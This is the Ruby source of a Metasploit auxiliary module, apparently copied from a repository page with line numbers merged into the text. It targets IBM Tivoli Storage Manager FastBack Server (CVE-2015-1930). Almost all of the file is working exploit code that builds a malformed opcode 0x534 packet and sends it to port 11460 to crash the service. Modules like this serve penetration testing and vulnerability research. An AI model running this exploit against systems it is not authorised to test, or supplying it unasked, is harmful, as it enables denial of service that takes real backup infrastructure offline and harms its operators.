Path: blob/master/modules/auxiliary/dos/misc/ibm_tsm_dos.rb
24309 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'IBM Tivoli Storage Manager FastBack Server Opcode 0x534 Denial of Service',14'Description' => %q{15This module exploits a denial of service condition present in IBM Tivoli Storage Manager16FastBack Server when dealing with packets triggering the opcode 0x534 handler.17},18'License' => MSF_LICENSE,19'Author' => [20'Gianni Gnesa', # Public disclosure/Proof of Concept21'William Webb <william_webb[at]rapid7.com>', # Metasploit22],23'References' => [24['CVE', '2015-1930'],25['EDB', '38979'],26['OSVDB', '132307']27],28'DisclosureDate' => '2015-12-15',29'Notes' => {30'Stability' => [CRASH_SERVICE_DOWN],31'SideEffects' => [],32'Reliability' => []33}34)35)3637register_options(38[39Opt::RPORT(11460)40]41)42end4344def tv_pkt(opcode, p1 = '', p2 = '', p3 = '')45buf = Rex::Text.rand_text_alpha(0x0C)46buf += [opcode].pack('V')47buf += [0x00].pack('V')48buf += [p1.length].pack('V')49buf += [p1.length].pack('V')50buf += [p2.length].pack('V')51buf += [p1.length + p2.length].pack('V')52buf += [p3.length].pack('V')5354buf += Rex::Text.rand_text_alpha(0x08)5556buf += p157buf += p258buf += p35960pkt = [buf.length].pack('N')61pkt << buf6263return pkt64end6566def run67target_opcode = 0x53468connect69print_status("Connected to: #{rhost} port: #{rport}")70print_status('Sending malicious packet')7172p = tv_pkt(73target_opcode,74"File: #{Rex::Text.rand_text_alpha(0x200)} From: 0 To: 0 ChunkLoc: 0 FileLoc: 0",75Rex::Text.rand_text_alpha(0x60),76Rex::Text.rand_text_alpha(0x60)77)7879sock.put(p)80print_status('Packet sent!')81rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e82print_error("Exploit failed: #{e.class} #{e.message}")83elog(e)84ensure85disconnect86end87end888990